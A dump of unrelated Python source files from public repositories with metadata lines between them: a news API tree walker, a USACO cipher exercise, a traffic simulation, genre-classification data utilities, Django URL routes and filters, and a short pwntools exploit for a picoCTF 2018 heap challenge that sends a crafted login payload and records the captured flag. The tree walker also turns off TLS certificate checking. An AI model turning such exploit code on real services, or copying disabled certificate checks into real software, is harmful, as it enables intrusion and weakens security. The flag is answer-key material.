AddLabelIfExistToTree(tree_json, 'shareUrl', jsonContent) relations = jsonContent['relations'] tree_relations_json = [] tree_json['__meta_realtions_count'] = len(relations) r_pos = 0 for relation in relations: tree_relation_json = {} tree_relation_json['__meta_relations_pos'] = r_pos r_pos = r_pos + 1 AddLabelIfExistToTree(tree_relation_json, 'primaryType', relation) AddLabelIfExistToTree(tree_relation_json, 'secondaryType', relation) if 'content' in relation: AddLabelIfExistToTree(tree_relation_json, 'id', relation['content']) AddLabelIfExistToTree(tree_relation_json, 'type', relation['content']) AddLabelIfExistToTree(tree_relation_json, 'name', relation['content']) #AddLabelIfExistToTree(tree_relation_json, 'shortName', relation['content']) tree_relations_json.append(tree_relation_json) tree_json['relations'] = tree_relations_json return tree_json def item_pos_in_trevor(item, label, trevor_tree): if label in item: #find in trevor assetUri = item[label] relations = trevor_tree['relations'] for relation in relations: if relation['id'].find(assetUri) != -1: return relation['__meta_relations_pos'] #not found return -1 def walkContentResponseTree(jsonContent, trevor_walked_tree): tree_json = {} results = jsonContent['results'] if results is None or len(results) == 0: return result = results[0] AddLabelIfExistToTree(tree_json, 'type', result) AddLabelIfExistToTree(tree_json, 'assetUri', result) AddLabelIfExistToTree(tree_json, 'title', result) #get groups groups = result['groups'] tree_groups_json = [] tree_json['__meta_group_count'] = len(groups) gp_pos = 0 for group in groups: tree_group_json = {} #tree_group_json['__meta_groups_pos'] = gp_pos gp_pos = gp_pos + 1 AddLabelIfExistToTree(tree_group_json, 'semanticGroupName', group) AddLabelIfExistToTree(tree_group_json, 'title', group) AddLabelIfExistToTree(tree_group_json, 'type', group) if 'strapline' in group: strapline = group['strapline'] if strapline is not None: tree_group_json['strapline'] = strapline['name'] tree_group_json['__meta_item_count'] = len(group['items']) tree_group_items_json = [] pos = 0 for item in group['items']: tree_group_item_json = {} #tree_group_item_json['__meta_item_pos'] = pos pos = pos + 1 AddLabelIfExistToTree(tree_group_item_json, 'assetUri', item) AddLabelIfExistToTree(tree_group_item_json, 'assetTypeCode', item) AddLabelIfExistToTree(tree_group_item_json, 'title', item) AddLabelIfExistToTree(tree_group_item_json, 'type', item) AddLabelIfExistToTree(tree_group_item_json, 'headline', item) #see if item is found in Trevor tree tree_group_item_json['__meta_trevor_pos'] = item_pos_in_trevor(item, 'assetUri', trevor_walked_tree) if 'section' in item: section = item['section'] if section is not None: tree_group_item_json['section'] =section['name'] tree_group_items_json.append(tree_group_item_json) tree_group_json['items'] = tree_group_items_json tree_groups_json.append(tree_group_json) tree_json['groups'] = tree_groups_json return tree_json return def get_content_fromcontent_api(root_url, cps_id, api_key): url = root_url.format(cps_id, api_key) headers = {'X-Candy-Platform' : 'mobile', 'X-Candy-Audience' : 'domestic', 'Accept' : 'application/json'} response = requests.get(url, cert=("/Users/mcalpn93/certificates/neilm_devcert.pem"), verify=False, headers=headers) return response.json() def main(argv): api_key = '' cps_id_cmd = '' get_from_trevor = False try: opts, args = getopt.getopt(argv,"ha:i:tc") except getopt.GetoptError, error: print_options_manual() sys.exit(2) for opt, arg in opts: if opt == '-h': print_options_manual() sys.exit() elif opt == "-a": api_key = arg elif opt == "-i": cps_id_cmd = arg elif opt == "-t": get_from_trevor = True elif opt == "-c": get_from_trevor = False #cps_ids = CPS_IDS cps_ids = [] #uncomment if just want to get cps id from command line cps_ids.append(cps_id_cmd) for cps_id in cps_ids: print cps_id #print 'api_key:' + api_key + ' ' + 'cps_id' + cps_id file_post_fix = '' if cps_id is not None: jsonTrevor = get_content_fromcontent_api(TREVOR_API_TEMPLATE, cps_id, api_key) #test data #jsonTrevor = TEST_TREVOR_JSON trevor_walked_tree = walkTrevorResponseTree(jsonTrevor) tree_to_output = trevor_walked_tree file_post_fix = '_t' if api_key is not None and get_from_trevor == False: #when walking the content we do a comparison against the Trevor feed to see what items #make it into the Trevor feed (and what are filtered out) jsonContent = get_content_fromcontent_api(CONTENT_API_TEMPLATE, cps_id, api_key) #jsonContent = TEST_CONTENT_JSON content_walked_tree = walkContentResponseTree(jsonContent, trevor_walked_tree) tree_to_output = content_walked_tree file_post_fix = '_c' #print json.dumps(tree_to_output, indent=4, sort_keys=True) cps_id_file = cps_id.replace('/', '_') f = open(cps_id_file + file_post_fix + ".json", "w") f.write(json.dumps(tree_to_output, indent=4, sort_keys=True)) else: #cannot do anything print_options_manual() def print_options_manual(): print 'tree_walker.py -a <api_key> -i <cps_index_id> -t (to get from trevor) -c (to get from content API)' print ' E.g. cpsindex_to_idealizedapi.py -s ffj55jfs34sds -i news/business -t ' if __name__ == "__main__": main(sys.argv[1:])
724c27a2f6b3f27f3319aa876e5a424651906f06
1b68bae75f48091c83b3a064271637e8b61622d0
/NewAlphabet.py
9dce64043f7bf2f5817634b313d42c31a7a3dd18
[]
no_license
PythonCharmer1/-United-States-of-America-Computing-Olympiad-USACO-Prep
bc09194253ddf9e393388ac9035f7b1bf9e3712c
f6846f4e41a797c270936572817c4acb90d52ca1
refs/heads/master
2022-12-11T07:31:37.794275
2020-08-28T02:35:12
2020-08-28T02:35:12
285,959,086
0
0
null
null
null
null
UTF-8
Python
false
false
1,032
py
# Python 3.7 # This Program solves the New Alphabet USACO problem # By: Yusuf Ali import string special = ["@","8","(","|)","3","#","6","[-]","|","_|","|<","1","[]\/[]","[]\[]","0","|D","(,)","|Z","$","][","|_|","\/","\/\/","}{","`/","2"] letters = [] for i in string.ascii_lowercase: letters.append(i) language = dict(zip(letters,special)) def listtostring(s): str1 = "" return (str1.join(s)) def secret (language,input): input = input.lower() input_list = [] result = [] for i in input: input_list.append(i) for i in input_list: if i == " ": result.append(" ") continue if i == "!": result.append("!") continue if i ==".": result.append(".") continue if i =="?": result.append("?") continue result.append(language.get(i)) return listtostring(result) print(secret(language,"This is a good program"))
60b4ace9d276d96b0f4604a7077817c101c6b49b
0f4bdbc0548a81043e0f90e6d37ec292bcb2648e
/simulation.py
b6680c6931d6f4db3e8e5e7b30ef73085383486a
[]
no_license
brianbreitsch/pyidmsim
7463e33405489c1548446080116947a227d52b9b
a75bc1f260ad26a6d78b1bc5d4d4122c10a2b7f1
refs/heads/master
2016-09-05T10:46:22.366378
2014-02-14T01:56:46
2014-02-14T01:56:46
16,629,541
1
0
null
null
null
null
UTF-8
Python
false
false
9,638
py
# COMAP Contest # # Highway Traffic Simulation # Two-Lane, IDM Model # SI units import math import random import itertools import numpy as np import matplotlib.pyplot as plt import matplotlib.animation as animation class Vehicle: def __init__(self): self.x = 0. # displacement self.lane = 0 # highway lane self.v = 30. # speed self.v0 = 30. # desired velocity self.th0 = 1.5 # desired time heading to next vehicle self.a = .3 # acceleration self.b = 3. # comfortable braking decelleration self.s0 = 1.5 # minimum spacing self.l = 5. # nominal vehicle length self.p = 0.5 # politeness factor class TrafficGenModel: # traffic generation parameters # Cowen M4 # http://www.uwstarlab.org/STARLab_Papers/2007_TRB_Examining%20Headway%20Distribution%20Models%20Using%20Urban%20Freeway%20Loop%20Event%20Data.pdf # delta = 1.8 # min headway (s) # phi = 0.9 # proportion of free vehicles # lamb = 0.4 # scale parameter def __init__(self, lane=0): self.delta = 1.2 self.phi = 5.8 self.lamb = 0.9 self.lane = lane random.seed() def next_headway_interval(self): x = random.uniform(0., 1.) t = -1./self.lamb * math.log((1. - x)/self.phi) + self.delta return t def next_vehicle(self): vehicle = Vehicle() vehicle.lane = self.lane vehicle.v0 = random.gauss(vehicle.v0, 4.) vehicle.th0 = vehicle.th0 + random.paretovariate(3.) vehicle.a = random.gauss(vehicle.a, 0.05) vehicle.b = random.gauss(vehicle.b, 0.05) vehicle.p = random.gauss(0.5, 0.3) return vehicle def gaussian(x, sigma, a): return a / (sigma * math.sqrt(2. * math.pi)) * math.exp(-math.pow(x/sigma, 2.) / 2.) def idm_accel(vehicle1, vehicle2): a, b, x, v, v0, s0, th0 = vehicle1.a, vehicle1.b, vehicle1.x, vehicle1.v, \ vehicle1.v0, vehicle1.s0, vehicle1.th0 x_next, l_next, v_next = vehicle2.x, vehicle2.l, vehicle2.v s = x_next - x - l_next dv = v - v_next s_star = s0 + v * th0 + v * dv / (2. * math.sqrt(a * b)) return a * (1. - (v / v0)**4. - (s_star / s)**2.) def comp_sigma_v(vehicles, x_start, x_stop, lane=-1): if lane == -1: x = [v.v - v.v0 for v in vehicles if v.x > x_start and v.x < x_stop] return sum(x) / (1. + len(x)) else: x = [v.v - v.v0 for v in vehicles if v.lane == lane and v.x > x_start and v.x < x_stop] return sum(x) / (1. + len(x)) def comp_sigma_x(vehicles, x_start, x_stop, lane=-1): x = 0. for i in range(len(vehicles)): if lane == -1 or vehicles[i].lane == lane: x += next((v.x - vehicles[i].x for v in vehicles[i+1:] if v.lane == vehicles[i].lane), TrafficSimulation.dummy_ahead.x - vehicles[i].x) return x / (1. + len(vehicles)) def comp_safety_hist(vehicles, x_start, x_stop, hist_vals, lane=-1): vals = [0.] * len(hist_vals) for i in range(len(vehicles)): if lane == -1 or vehicles[i].lane == lane: t = next(((2.*(abs(v.x - vehicles[i].x))/(v.v + vehicles[i].v)) for v in vehicles[i+1:] if v.lane == vehicles[i].lane), TrafficSimulation.dummy_ahead.x - vehicles[i].x) for h_ind in range(len(hist_vals)): if t < hist_vals[h_ind]: vals[h_ind] += 1 return vals class TrafficSimulation: dummy_ahead = Vehicle() dummy_behind = Vehicle() def __init__(self, n_lanes=2): self.n_lanes = n_lanes self.gen_models = [TrafficGenModel(lane=i) for i in range(self.n_lanes)] self.next_gen_times = [0.] * self.n_lanes self.vehicles = [] self.t_start = 0. # simulation start time self.t_end = 20. # simulation end time self.x_start = 0. # simulation highway start x self.x_end = 5000. # simulation highway end x self.h = 0.2 # step size # dummy vehicles #self.dummy_ahead = Vehicle() TrafficSimulation.dummy_ahead.x = self.x_end + 400. #self.dummy_behind = Vehicle() TrafficSimulation.dummy_behind.x = self.x_start - 1000. def step(self, i): n_lanes = self.n_lanes x_end = self.x_end x_start = self.x_start vehicles = self.vehicles h = self.h time = self.t_start + i * h # vehicle generation for lane in range(n_lanes): if time >= self.next_gen_times[lane]: # time for lane vehicles.insert(0, self.gen_models[lane].next_vehicle()) # vehicle in lane self.next_gen_times[lane] = time + self.gen_models[lane].next_headway_interval() # sort by x position vehicles.sort(key = lambda obj: obj.x) # move each vehicle i = 0 while i < len(vehicles): vehicle = vehicles[i] front = next((v for v in vehicles[i+1:] if v.lane == vehicle.lane), TrafficSimulation.dummy_ahead) front_l = next((v for v in vehicles[i+1:] if v.lane == vehicle.lane + 1), TrafficSimulation.dummy_ahead) front_r = next((v for v in vehicles[i+1:] if v.lane == vehicle.lane - 1), TrafficSimulation.dummy_ahead) back = next((v for v in reversed(vehicles[:i]) if v.lane == vehicle.lane), TrafficSimulation.dummy_behind) back_l = next((v for v in reversed(vehicles[:i]) if v.lane == vehicle.lane + 1), TrafficSimulation.dummy_behind) back_r = next((v for v in reversed(vehicles[:i]) if v.lane == vehicle.lane - 1), TrafficSimulation.dummy_behind) # if vehicle not in front, place at a distance # if vehicle not behind, place far behind # perform integration # from Wikipedia page: http://en.wikipedia.org/wiki/Intelligent_driver_model # potential acceleration in middle, left, right m_acc_c = idm_accel(vehicle, front) m_acc_l = idm_accel(vehicle, front_l) m_acc_r = idm_accel(vehicle, front_r) b_acc_c_1 = idm_accel(back, vehicle) b_acc_c_2 = idm_accel(back, front) b_acc_l_1 = idm_accel(back_l, front_l) b_acc_l_2 = idm_accel(back_l, vehicle) b_acc_r_1 = idm_accel(back_r, front_r) b_acc_r_2 = idm_accel(back_r, vehicle) # use MOBIL model for lane changing b_safe = -4.0 thresh_l = 0.2 thresh_r = -0.05 a_bias = 0.2 advantage_l = m_acc_l - m_acc_c advantage_r = m_acc_r - m_acc_c + a_bias disadvantage_l = vehicle.p * (b_acc_c_1 + b_acc_l_1 - b_acc_c_2 - b_acc_l_2) + thresh_l disadvantage_r = vehicle.p * (b_acc_c_1 + b_acc_r_1 - b_acc_c_2 - b_acc_r_2) + thresh_r # if the vehicle can move right and the citeria are satisfied, moves right # otherwise, if the criteria to move left are satisfied, moves left acc = m_acc_c bias = False if bias: if vehicle.lane > 0 and b_acc_r_2 > b_safe and advantage_r > disadvantage_r: vehicle.lane -= 1 acc = m_acc_r elif vehicle.lane < n_lanes - 1 and b_acc_l_2 > b_safe and advantage_l > disadvantage_l: vehicle.lane += 1 acc = m_acc_l else: r_cand = l_cand = False if vehicle.lane > 0 and b_acc_r_2 > b_safe and advantage_r > disadvantage_r - thresh_r + thresh_l: r_cand = True if vehicle.lane < n_lanes - 1 and b_acc_l_2 > b_safe and advantage_l > disadvantage_l: l_cand = True if (r_cand and not l_cand) or (r_cand and advantage_r - disadvantage_r + thresh_r - thresh_l > advantage_l - disadvantage_l): vehicle.lane -= 1 acc = m_acc_r elif l_cand: vehicle.lane += 1 acc = m_acc_l vehicle.x += h * vehicle.v vehicle.v += h * acc # remove vehicle if past simulation boundary if(vehicle.x > x_end): vehicles.remove(vehicle) else: i += 1 def main(): sim = TrafficSimulation(2) sim.gen_models[1].delta = 15. n_frames = 3300 # at h = 0.2 yields 8:20 sim time # spatial data collection interval x_start = sim.x_start + 1600. x_end = sim.x_end - 400. # we collect data along a 3000m stretch of highway sig_v = np.zeros(n_frames) sig_x = np.zeros(n_frames) # set up figure and animation fig = plt.figure() fig.subplots_adjust(left=0, right=1, bottom=0, top=1) ax = fig.add_subplot(211, autoscale_on=False, xlim=(0, sim.x_end), ylim=(-.5, sim.n_lanes + 0.5)) pos, = ax.plot([], [], 'bo', ms=6.) vel, = ax.plot([], [], 'go', ms=2.) def init_anim(): pos.set_data([], []) vel.set_data([], []) return [], def animate(i): sim.step(i) vehicles = sim.vehicles x = [v.x for v in vehicles] lanes = [float(v.lane) for v in vehicles] dx = [sim.n_lanes * v.v / 60. + v.lane - 1 for v in vehicles] pos.set_data(x,lanes) vel.set_data(x, dx) return pos, vel, ani = animation.FuncAnimation(fig, animate, frames=n_frames, interval=2, blit=False, init_func=init_anim) plt.show() if __name__ == "__main__": main()
1f41d8691ba3cd80a2f82b2839155c9cc4ff2071
d6cfe0d55cb526bfe6d5174489cce7f08752cbe8
/DataUtils.py
15c07923c8460d22d7eb43955ca0bd7533df1166
[]
no_license
nectario/GenrePrediction
3838dec7f5193fe2e0d1e6ccf2a7651b939dfefb
5fb3aa9558164844b58ce160f5ec81691d6e25b9
refs/heads/master
2021-03-02T23:07:11.714815
2020-06-14T17:44:53
2020-06-14T17:44:53
245,913,120
0
0
null
null
null
null
UTF-8
Python
false
false
16,713
py
import numpy as np from sumy.nlp.stemmers import Stemmer from EntropyUtils import * import pandas as pd from orderedset import * from sklearn.preprocessing import MultiLabelBinarizer from tqdm import tqdm from sklearn.preprocessing import MinMaxScaler import glob import os def load_genre_labels(file_path): current_genres_df = None if file_path.endswith("csv"): current_genres_df = pd.read_csv(file_path) elif file_path.endswith("xlsx"): current_genres_df = pd.read_excel(file_path) genres = current_genres_df["Genre"] return genres.tolist() def parse_str_labels(str_labels): if type(str_labels) != str: return "" labels = list(map(str.strip, str_labels.split(","))) return labels def remove_unused_genres(genre_list, genres): if (type(genre_list) == str): genre_list = parse_str_labels(genre_list) genres_set = OrderedSet(list(genres)) genre_list_set = OrderedSet(list(genre_list)) output = list(genre_list_set.intersection(genres_set)) return output def generate_subtitle_files(data_df, data_type): for i, row in data_df.iterrows(): f= open("data/subtitles/"+data_type+"/"+row["Id"]+".txt","w+") subtitles = f.write(row["Subtitles"]) f.close() def populate_predictions(data_df, genres=None): index_to_name = {} name_to_index = {} for i, genre in enumerate(genres): index_to_name[i] = genre name_to_index[genre] = i text_predictions = [] for i, row in data_df.iterrows(): prob_predictions = row[genres] predictions = [] for i, pred in enumerate(prob_predictions): if pred >= 0.50: predictions.append(index_to_name[i]) str_predictions = str(predictions).replace("[", "").replace("]", "").replace("'", "") text_predictions.append(str_predictions) data_df["Predictions"] = text_predictions columns = ["Id","Labels","Predictions"] columns.extend(genres) data_df = data_df[columns] return data_df def condense(data_df, genres=None, prediction_column=None, label_column=None): text = "" prev_id = "" binary_labels_rows = None prediction_set = OrderedSet() label_set = OrderedSet() texts = [] ids = [] rows = [] predictions = [] labels = [] data_df = data_df.set_index("Id") data_df["Id"] = data_df.index for i, row in data_df.iterrows(): id = row["Id"] if id == prev_id and i != data_df.shape[0]-1 or i == 0: text = text + " " + row["Text"] if prediction_column is not None and pd.notna(row[prediction_column]): set_labels(prediction_column, prediction_set, row) if label_column is not None and pd.notna(row[label_column]): set_labels(label_column, label_set, row) if binary_labels_rows is not None: binary_labels_rows = row[genres] + binary_labels_rows else: binary_labels_rows = row[genres] else: texts.append(text) ids.append(prev_id) rows.append(binary_labels_rows) if prediction_column is not None: predictions_str = str(list(prediction_set)).replace("[","").replace("]","").replace("'","") predictions.append(predictions_str) if label_column is not None: labels_str = str(list(label_set)).replace("[", "").replace("]", "").replace("'", "") labels.append(labels_str) text = row["Text"] if prediction_column is not None and pd.notna(row[prediction_column]): prediction_set.clear() set_labels(prediction_column, prediction_set, row) else: if prediction_column is not None: prediction_set.clear() if label_column is not None and pd.notna(row[label_column]): label_set.clear() set_labels(label_column, label_set, row) else: if label_column is not None: label_set.clear() prev_id = id #columns = ["Id","Text"] #if label_column is not None: # columns.extend([label_column]) #if prediction_column is not None: # columns.extend([prediction_column]) #columns.extend(genres) new_data_df = pd.DataFrame(rows, columns=genres) new_data_df["Id"] = ids new_data_df["Text"] = texts if label_column is not None: new_data_df[label_column] = labels if prediction_column is not None: new_data_df[prediction_column] = predictions return new_data_df def set_labels(label_column, label_set, row): label_list = list(map(str.strip, row[label_column].split(","))) for label in label_list: if label != '': label_set.add(label) return label_set def split_string_list(genres): if type(genres) == str: if genres == "": return [] genres_list = genres.split(",") genres_list = [i.strip() for i in genres_list] else: return "" return genres_list def get_summary(text): LANGUAGE = "english" SENTENCES_COUNT = 20 stemmer = Stemmer(LANGUAGE) summarizer = Summarizer(stemmer) summarizer.stop_words = get_stop_words(LANGUAGE) text = text.replace("...",".") parser = PlaintextParser.from_string(text, Tokenizer(LANGUAGE)) text = "" for sentence in summarizer(parser.document, SENTENCES_COUNT): text = text +" "+str(sentence) return text def wordsplit(atext): if type(atext) == str: punctuation = '.,():-—;"!?•$%@“”#<>+=/[]*^\'{}_■~\\|«»©&~`£·' atext = atext.replace('-', ' ') # we replace hyphens with spaces because it seems probable that for this purpose # we want to count hyphen-divided phrases as separate words awordseq = [x.strip(punctuation).lower() for x in atext.split()] return awordseq def get_chunks(atext, chunk_size=512): if type(atext) == str: wordseq = wordsplit(atext) # we count types and tokens in the full sequence seqlen = len(wordseq) chunks = [] # Now we iterate through chunks overrun = True for startposition in range(0, seqlen, chunk_size): endposition = startposition + chunk_size # If this (final) chunk would overrun the end of the sequence, # we adjust it so that it fits, and overlaps with the previous # chunk. if endposition >= seqlen: if endposition > seqlen: overrun = True endposition = seqlen startposition = endposition - chunk_size if startposition < 0: #print('In at least one document, chunk size exceeds doc size.') startposition = 0 thischunk = wordseq[startposition: endposition] chunks.append(thischunk) return chunks else: return [] def get_chunks_and_measures(atext, chunk_size=512): wordseq = wordsplit(atext) # we count types and tokens in the full sequence overalltypect = len(set(wordseq)) seqlen = len(wordseq) chunks = [] # Now we iterate through chunks overrun = True ttr_list = [] conditional_entropy_list = [] normalized_entropy_list = [] cumulative_sequence = [] for startposition in range(0, seqlen, chunk_size): endposition = startposition + chunk_size # If this (final) chunk would overrun the end of the sequence, # we adjust it so that it fits, and overlaps with the previous # chunk. if endposition >= seqlen: if endposition > seqlen: overrun = True endposition = seqlen startposition = endposition - chunk_size if startposition < 0: print ('In at least one document, chunk size exceeds doc size.') startposition = 0 thischunk = wordseq[startposition: endposition] ttr, conditional_entropy, normalized_entropy = get_all_measures(thischunk) chunks.append(thischunk) ttr_list.append(ttr) conditional_entropy_list.append(conditional_entropy) normalized_entropy_list.append(normalized_entropy) if not overrun: cumulative_text = wordseq[0: endposition] cumTTR, cumconditional, cumnormalized = get_all_measures(cumulative_text) cumulative_dict = dict() cumulative_dict['ttr'] = cumTTR cumulative_dict['conditional'] = cumconditional cumulative_dict['normalized'] = cumnormalized cumulative_sequence.append(cumulative_dict) #ttr = sum(ttr_list) / len(ttr_list) #conditional_entropy = sum(conditional_entropy_list) / len(conditional_entropy_list) #normalized_entropy = sum(normalized_entropy_list) / len(normalized_entropy_list) return chunks, ttr_list, conditional_entropy_list, normalized_entropy_list def load_data(file_path, genres, rows=None, validation_split=None, create_validation=False): data_df = pd.read_excel(file_path, nrows=rows) data_df = data_df[data_df.Exclude == False].reset_index(drop=True) data_df.replace(r'[^\x00-\x7F]+',' ', inplace=True, regex=True) data_df.replace(0,"", inplace=True) filtered_data_df = data_df filtered_data_df["Subtitles 1"].fillna("", inplace=True) filtered_data_df["Subtitles 2"].fillna("", inplace=True) filtered_data_df["Subtitles"] = filtered_data_df["Subtitles 1"] + filtered_data_df["Subtitles 2"] filtered_data_df = data_df[data_df.Subtitles.notna()].reset_index(drop=True) filtered_data_df.drop(["Subtitles 1", "Subtitles 2"], inplace=True, axis=1) if validation_split is not None: filtered_data_df = filtered_data_df[filtered_data_df.Training == True].reset_index() training_df = filtered_data_df[:int(1 - filtered_data_df.shape[0]*validation_split)].reset_index(drop=True) validation_df = filtered_data_df[int(1 - filtered_data_df.shape[0]*validation_split)+1: - 1].reset_index(drop=True) else: training_df = filtered_data_df[filtered_data_df.Training == True].reset_index(drop=True) if create_validation: validation_df = filtered_data_df[filtered_data_df.Validation == True].reset_index(drop=True) #training_df["Labels"] = training_df["Genres"].apply(parse_str_labels).tolist() training_df["Labels"] = training_df["Genres"].apply(remove_unused_genres, args = (genres,)).tolist() #validation_df["Labels"] = validation_df["Genres"].apply(parse_str_labels) if create_validation: validation_df["Labels"] = validation_df["Genres"].apply(remove_unused_genres, args=(genres,)) training_df = training_df[training_df["Labels"].map(lambda d: len(d)) > 0].reset_index(drop=True) if create_validation: validation_df = validation_df[validation_df["Labels"].map(lambda d: len(d)) > 0].reset_index(drop=True) mlb = MultiLabelBinarizer(classes=genres) training_binary_labels = mlb.fit_transform(training_df["Labels"]) training_labels = training_binary_labels if create_validation: validation_binary_labels = mlb.fit_transform(validation_df["Labels"]) validation_labels = validation_binary_labels return training_df[["Id", "Subtitles","Labels"]], validation_df[["Id","Subtitles","Labels"]], training_labels, validation_labels #training_df, validation_df else: return training_df[["Id", "Subtitles", "Labels"]] def generate_summary(data_df, data_type): summary_text = [] rows = [] for i, row in data_df.iterrows(): print("Row",i) try: text = get_summary(row["Subtitles"]) summary_text.append(text) rows.append(row) except: continue data_df = pd.DataFrame(rows) data_df["Summary"] = summary_text return data_df def generate_aws_data_format(data_df, genres, fit=True, text_column="Chunks"): columns = data_df.columns columns.extend(genres) output_data_df = pd.DataFrame(columns=columns) mlb = MultiLabelBinarizer(classes=genres) b_labels = mlb.fit_transform(data_df["Labels"]) for i, row in tqdm(data_df.iterrows(), total=data_df.shape[0]): new_row = [row["Id"], row[text_column]] new_row.extend(b_labels[i].tolist()) df_length = output_data_df.shape[0] output_data_df.loc[df_length] = new_row return output_data_df def generate_binary_columns(data_df, genres, label_column="List Labels"): columns = data_df.columns.tolist() columns.extend(genres) output_data_df = pd.DataFrame(columns=columns) mlb = MultiLabelBinarizer(classes=genres) b_labels = mlb.fit_transform(data_df[label_column]) i = 0 for id, row in tqdm(data_df.iterrows(), total=data_df.shape[0]): new_row = [row[column] for column in data_df.columns] new_row.extend(b_labels[i].tolist()) df_length = output_data_df.shape[0] output_data_df.loc[df_length] = new_row i += 1 return output_data_df def generate_chunks(data_df, genres, chunk_size=512, return_string=True, output_labels = True, label_column="Labels", text_column="Subtitles", include_binary_genre_columns=True): rows = [] if output_labels: columns = ["Id", "Text", label_column] columns.extend(genres) data_df = data_df[columns] else: columns = ["Id", "Text"] output_data_df = pd.DataFrame(rows, columns=columns) for i, row in tqdm(data_df.iterrows(), total=data_df.shape[0]): chunks = get_chunks(row[text_column], chunk_size=chunk_size) for i, chunk_text in enumerate(chunks): if output_labels: new_row = [row["Id"], chunk_text, row[label_column]] else: new_row = [row["Id"], chunk_text] new_row.extend(row[genres].values.tolist()) df_length = output_data_df.shape[0] output_data_df.loc[df_length] = new_row if return_string: output_data_df["Text"] = output_data_df["Text"].apply(lambda x: str(x).replace("[", "").replace("]","").replace("'","").replace(",","").replace('"','')) return output_data_df def get_labels(binary_labels, genres, return_string=True): indexes = np.nonzero(binary_labels)[0] labels = [] for i in indexes: labels.append(genres[i]) if return_string: str_labels = str(labels).replace("[","").replace("]","").replace("'","") return str_labels else: return labels def create_comma_separated_str_values(predictions_df, genres): predictions_or_labels = [] for i, row in predictions_df.iterrows(): binary_predictions = row[genres].tolist() predictions_str = get_labels(binary_predictions, genres) predictions_or_labels.append(predictions_str) return predictions_or_labels def merge_files(base_path, output_file_name, export=True, columns=None): # files = glob.glob(base_path + '*.xlsx') files = sorted(glob.glob(base_path + "episode_vectors_*.xlsx"), key=os.path.getmtime) all_data = pd.DataFrame(columns=columns) for i, filename in enumerate(files): dataframe_i = pd.read_excel(filename) all_data = all_data.append(dataframe_i, ignore_index=True) if export: all_data.to_excel(base_path + output_file_name, index=False) return all_data def convert_binary(value): if type(value) == str: return value if value >= 0.50: return 1 else: return 0 if __name__ == "__main__": columns = ["Id", "action", "horror", "thriller", "crime", "romance", "romantic comedy", "documentary", "science fiction", "fantasy", "lgbt-related", "musical", "biographical", "adventure", "war", "mystery", "teen", "childrens", "western", "coming-of-age story", "martial arts", "silent", "christmas", "noir", "buddy", "slasher", "historical", "heist", "erotic", "monster", "zombie", "spy", "neo-noir", "vampire", "dystopian", "crime thriller", "sports", "melodrama", "prison", "comic science fiction", "disaster", "family", "post-apocalyptic", "parody", "speculative fiction", "superhero", "erotic thriller", "political thriller", "psychological thriller"] merge_files("../data/", "pluto_vectors_2.xlsx", columns=columns)
2db1bdf6ba86c7db5f82f5c50be452c69fe724f0
0352a0dbf1dccf35e9d043ecdd060dfd45aded7d
/PICO-CTF-2018-PWNABLES/are_your_root_heap/sploit.py
62f9d2e711ad31a91d570ffd4cca0374ebb8e0ea
[]
no_license
AnisBoss/CTFs
4d4b8ebb33a5f1678975003c57d2cb7d128bfb32
535e1e5b04425e859058e8ef9450f4d76580728f
refs/heads/master
2021-01-22T10:09:31.585893
2020-09-13T22:49:00
2020-09-13T22:49:00
102,334,842
27
5
null
null
null
null
UTF-8
Python
false
false
267
py
from pwn import * p = remote("2018shell2.picoctf.com", 29508) payload = "" payload += "AAAAAAAB\x05" p.sendline("login {}".format(payload)) p.sendline("reset") p.sendline("login {}".format(payload)) p.interactive() #flag picoCTF{m3sS1nG_w1tH_tH3_h43p_a5e65af1}
b953dc5f8c83904de9b9a10f5e61bad03c364dd4
c42520b03d229fbcbb91034448faee95001515da
/website/urls.py
d393ff5ec8c05c01abdb6293aa6e2fe7d54df4ec
[]
no_license
niti4950/thames
2e6d6b2de2133cb367aa55d498b1488c677b7bb0
18b1ec93c458302901e65dfd8f65cc3fa6b7f417
refs/heads/master
2020-03-22T01:56:54.512843
2018-07-01T15:27:20
2018-07-01T15:27:20
139,340,200
0
0
null
null
null
null
UTF-8
Python
false
false
1,571
py
"""website URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/1.11/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home') Class-based views 1. Add an import: from other_app.views import Home 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home') Including another URLconf 1. Import the include() function: from django.conf.urls import url, include 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls')) """ from django.conf.urls import url from django.contrib import admin from webapp.views import * from django.conf import settings from django.conf.urls.static import static urlpatterns = [ url(r'^admin/', admin.site.urls), url(r'^$',index,name='index'), url(r'^products/$',products,name='products'), url(r'^products/(\w+)/$',single_category,name='category'), url(r'^aboutus/$',aboutus,name='aboutus'), url(r'^blog/$',blog,name='blog'), url(r'^blog_detail/$', blog_detail,name='blog_detail'), url(r'^product_details/(\d+)$', product_details,name='product_details'), url(r'^contactus/$', contactus,name='contactus'), url(r'^signup/$', sign_up,name='signup'), url(r'^login/$', login, name='login'), url(r'^auth-check/$', auth_view,name='check'), url(r'^logout/$', logout,name='logout'), ]+static(settings.MEDIA_URL,document_root=settings.MEDIA_ROOT)
8c40813481531959fff6f583de2d7021c96d5996
41825855b6d44d799c1b594c75cf9a8054504a18
/account/filters.py
b6c6f5b4c42a1f2bffab9f784fae01d1a5d765ec
[]
no_license
Syednazirhussain/DjangoCMS
2815eb0fd9ccd6890e14133e10d0f7dc543aad2c
8985f7dc10f3428b849a8900658d190e7b307b76
refs/heads/master
2022-05-21T19:19:24.488700
2020-04-28T20:44:01
2020-04-28T20:44:01
259,340,268
0
0
null
null
null
null
UTF-8
Python
false
false
367
py
import django_filters from django_filters import DateFilter from .models import * class OrderFilters(django_filters.FilterSet): start_date = DateFilter(field_name='date_created', lookup_expr='gte') end_date = DateFilter(field_name='date_created', lookup_expr='lte') class Meta: model = Order fields = '__all__' exclude = ['customer', 'date_created']
ace2a4570b7fe0556419017f890effd6c5682676
2a68b03c923119cc747c4ffcc244477be35134bb
/interviews/BB/addTwoNumsII.py
e4456cbba6d6b6ebf35f4629a4fe46f8f52b1043
[]
no_license
QitaoXu/Lintcode
0bce9ae15fdd4af1cac376c0bea4465ae5ea6747
fe411a0590ada6a1a6ae1166c86c585416ac8cda
refs/heads/master
2020-04-24T20:53:27.258876
2019-09-24T23:54:59
2019-09-24T23:54:59
172,259,064
1
0
null
null
null
null
UTF-8
Python
false
false
1,782
py
